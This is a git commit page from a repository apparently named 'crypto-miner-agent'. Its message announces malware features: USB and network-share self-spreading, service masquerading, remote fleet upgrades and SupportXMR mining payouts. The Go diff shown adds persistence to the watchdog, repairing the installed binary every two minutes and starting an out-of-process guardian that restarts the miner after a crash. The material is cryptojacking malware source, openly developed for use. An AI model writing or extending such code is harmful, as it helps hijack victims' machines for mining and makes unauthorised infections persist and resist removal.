Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
@@ -9,11 +9,13 @@ import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// StartWatchdog keeps persistence and the installed binary healthy.
|
||||
// StartWatchdog keeps persistence and the installed binary healthy,
|
||||
// and spawns an out-of-process guardian that restarts the miner if it crashes.
|
||||
func StartWatchdog(cfg config.RuntimeConfig) {
|
||||
if !cfg.SelfHealing {
|
||||
return
|
||||
}
|
||||
// In-process: repairs binary + persistence every 2 min
|
||||
go func() {
|
||||
ticker := time.NewTicker(2 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
@@ -23,6 +25,12 @@ func StartWatchdog(cfg config.RuntimeConfig) {
|
||||
}
|
||||
}
|
||||
}()
|
||||
// Out-of-process guardian: survives a crash of THIS process.
|
||||
// Only needed for user-mode installs; scheduled tasks and services
|
||||
// already have their own restart-on-failure mechanics.
|
||||
if cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||
go launchProcessGuard(cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func maintainInstall(cfg config.RuntimeConfig) error {
|
||||
|
||||
Reference in New Issue
Block a user